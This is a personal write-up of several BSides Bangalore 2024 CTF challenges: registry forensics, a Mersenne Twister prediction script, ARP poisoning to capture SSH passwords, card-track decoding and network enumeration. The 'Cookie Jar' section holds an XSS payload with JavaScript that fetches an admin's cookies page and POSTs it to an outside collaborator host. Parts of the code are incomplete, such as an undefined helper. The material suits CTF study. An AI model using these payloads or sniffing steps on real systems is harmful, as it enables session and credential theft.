Bsides Bangalore 2024
Forensics: No malware on file⌗
Not having access to vol2 or a windows box, I wasted entire time getting vol2 working on arm or windows running. Biggest fault!
Better way (after CTF endend): With calm mind,
- I started working with vol3 natively.
- Spinned up lima vm with rosetta support and used vol2’s release binaries for amd64
Working with vol3⌗
What I did: Dumped all registries -> didn’t find anything -> moved to printkey registries
The Good:
- Dumped all registries
The Bad:
- Opened only one hive in vim
- Did not look for embedded magic bytes in all hives
- Did not run binwalk on dumped registries
- Did not follow up on registries
Printkey –recurse is somehow different than hivelist –dump.
Binwalk does not extract all detected. Give -D '.*'
to extract all
tl;dr⌗
- vol -f image.vmem -o dump windows.registry.hivelist –dump
- binwalk -y exe dump/* | grep -B 6 PE
- binwalk -e -D ‘.*’ registry.SOFTWARE.0xf8a0010f2410.hive
- Upload found exe to virustotal or any.run or run in windows
- grep for MetaCTF{
See my cheatsheet.
Crypto: Twist and Shout⌗
This is based on the fact that python’s rand function is predictable/calculable when you have enough inputs.
It uses Mersenne Twister whose entire state can be calculated with 624 consecutive inputs
but we don’t have access to consecutive inputs here.
It turns out, we don’t need the entire state either.
Only need 2 random numbers to predict.
See: https://github.com/deut-erium/RNGeesus/blob/main/src/code_mersenne/mersenne.py : get_ith
Get i’th output given i-624, i-623 and i-227 th inputs
ifboth=True
then can be only i-623 and i-227 only as
we only need MSB of i-624 which can be two possibilities
Server gives every alternate random number, so keep the offsets accordingly.
from pwn import *
import base64
import gessus
host = 'icc.metaproblems.com'
port = 5600
conn = remote(host, port)
def generate_ticket(n):
return str(base64.b16encode(int.to_bytes(n, 4, 'little')))[2:-1]
def ticket_to_bits(ticket: str):
byts = base64.b16decode(ticket)
return int.from_bytes(byts, 'little')
predictors = []
def main():
conn.recvuntil(b"casino!\n")
iter = 0
while True:
iter += 1
conn.recvuntil(b"Would you like to play the random lotto (our only game)? Y/n\n")
conn.sendline(b"y")
conn.recvuntil(b"tickets remaining\n")
line = conn.recvline()
num = line.split()[2].decode()
target = 312
if iter == 1 or iter == 199:
predictors.append(ticket_to_bits(num))
if iter == target:
answers = gessus.BreakerPy().get_ith(predictors, both=True)
answer = generate_ticket(answers[0])
print("sending answer", answer)
conn.sendline(answer)
# Check if we guessed correctly
response = conn.recvline().decode()
if "quite lucky" in response:
print(f"Flag obtained: {response}")
else:
print("failed")
print (response)
response = conn.recvline().decode()
print (response)
response = conn.recvline().decode()
print (response)
break
else:
conn.sendline()
print(f"iteration nnumber {iter} with {num} {ticket_to_bits(num)}")
conn.recvuntil(b"Checking")
conn.recvline()
if __name__ == "__main__":
main()
Network: Troublesome Tofu⌗
It shouts arp poisoining from the desc of challenge. arpscan
is present is a huge indicator.
To be certain, diff all items in $PATH
to a fresh ubuntu install.
- Target: 192.168.0.2 (ssh)
- Victim: 192.168.0.50 (contantly ssh-ing to Target with password auth)
- Attacker: 192.168.0.99
- ARP poison
- Ensure getting traffic by tcpdump3
- !! traffic has a different dst ip, your own kernel will not pick them up. Change your IP to target’s IP.
ip addr add 192.168.0.2 dev eth0
which sshd
, then run sshd, error about dir not present, create that dir./strace -s 4096 /path/to/sshd > logs
- Wait (or monitor netstat for login attempt)
awk 'NF < 5' | logs
or look for read syscalls.- Get the password and login to target (reset your ip first).
Cookie Jar⌗
- XSS is in email. “<script/src=‘mysite.js’>"@wahtever.com
- Get URL, send to admin
- run fetch from admin to get cookies.php and send to your site
cook = fetch('/cookies.php')
.then((response) => response.text())
.then( (text) => {
fetch('http://pxqfydd099x1249owsa7yft5dwjn7fv4.oastify.com', {
method: "POST",
body: "ok" + "\n" + text
})
})
Magnetic Pull⌗
Liked the challenge although found out in the end that could’ve used some chatgpt plugin app for this. Anyway.
Our credit card skimmer yanked this Track 1 data off of an unsuspecting victim, but we’re not really sure how to decode it. Can you get their name?
A28CACC8A34AE41B512F54B16A34EA55F5BA45A1E22CCBCE7ED283D24CEFD67ED283CA77CC08102F82544B522C58A1020409152E4081027C6E
- Read Wikipedia about https://en.wikipedia.org/wiki/Digital_card#Track_1
- Read https://en.wikipedia.org/wiki/Six-bit_character_code#DEC_six-bit_code
- Decode (take care of endianness)
def _chr(num):
assert num >= 0 and num <= 63
return chr(num+32)
def __chr(num):
if num >= 32 and num <=63:
return chr(num)
if num > 63:
return chr(num - 64)
return ""
def bcd(x):
if x >= 0x1 and x < 0xA:
return chr(x - 0x1 + ord('1'))
if x >= 0x12 and x <= 0x19:
return chr(x - 0x12 + ord('S'))
if x >= 0x21 and x <= 0x29:
return chr(x - 0x21 + ord('J'))
if x >= 0x31 and x <= 0x39:
return chr(x - 0x31 + ord('A'))
return '.'
def parity(x):
res = 0
while x:
res ^= x & 1
x >>=1
return res
def parity_check(bin_data):
for i in range(0, len(bin_data)-1, 7):
seven_bit_chunk = bin_data[i:i+7]
parity_sign = parity(int(seven_bit_chunk, 2))
if parity_sign:
print(".", end="")
else:
print("x", end="")
#f"{parity_sign} == {parity(data)}"
print("Parity check complete")
def bin_to_ascii(bin_data):
for i in range(0, len(bin_data)-1, 7):
seven_bit_chunk = bin_data[i:i+7]
seven_bit_chunk = seven_bit_chunk[::-1] # Endianness !!!
data = int(seven_bit_chunk[1:7], 2)
parity_bit = seven_bit_chunk[0:1]
parity_sign = int(parity_bit, 2)
if parity_sign != parity(data):
print(_chr(data), end="")
else:
print("x", end="")
print()
hex_data = "A28CACC8A34AE41B512F54B16A34EA55F5BA45A1E22CCBCE7ED283D24CEFD67ED283CA77CC08102F82544B522C58A1020409152E4081027C6E"
bin_data = hex_to_bin(hex_data)
parity_check(bin_data)
bin_to_ascii(bin_data)
Network: Lost in the woods⌗
Nothing but trees and boxen, as far as the eye can see.
Connect with ssh -p 7001 [email protected]
See if you can find a box with an open port and go from there!
Port scan
/ # nmap 192.168.0.1/24 --open
PORT STATE SERVICE
8000/tcp open http-alt
MAC Address: 02:42:0A:01:39:02 (Unknown)
Login Attempt
/ # curl 192.168.0.45:8000
curl: (1) Received HTTP/0.9 when not allowed
/ # nc 192.168.0.45 8000
SSH-2.0-OpenSSH_9.6
^C
/ # ssh 192.168.0.45 -p 8000
###########
You found me! That's PART 1 of 3 completed.
There is nothing more of use on this IP address (the SSH is just to
show you this banner, you can't log in). Continue onwards.
The next machine is at 192.168.0.59
You'll need these credentials:
Username: admin
Password: prettypleaseletmein
Hint: Remember to look all over.
Also, from now on, use the T5 flag to save yourself time, it shouldn't hurt anything.
###########
nmap -p- -T5 192.168.0.59 and get port 43254
/ # curl -u admin:prettypleaseletmein 192.168.0.59:43254
You found me! That's PART 2 of 3 completed.
Continue onwards.
Your final machine is at 192.168.0.132, port number 10.
Hint: Ogres have layers, and so do protocol suites. Check them all.
If you'd like an additional hint, it's on this webserver.
Why leave the hint
/ # curl -u admin:prettypleaseletmein 192.168.0.59:43254/hint
It's not UDP.
Get the flag
# nmap 192.168.0.132 -sO -T5
132 open sctp
# ncat --sctp 192.168.0.132 10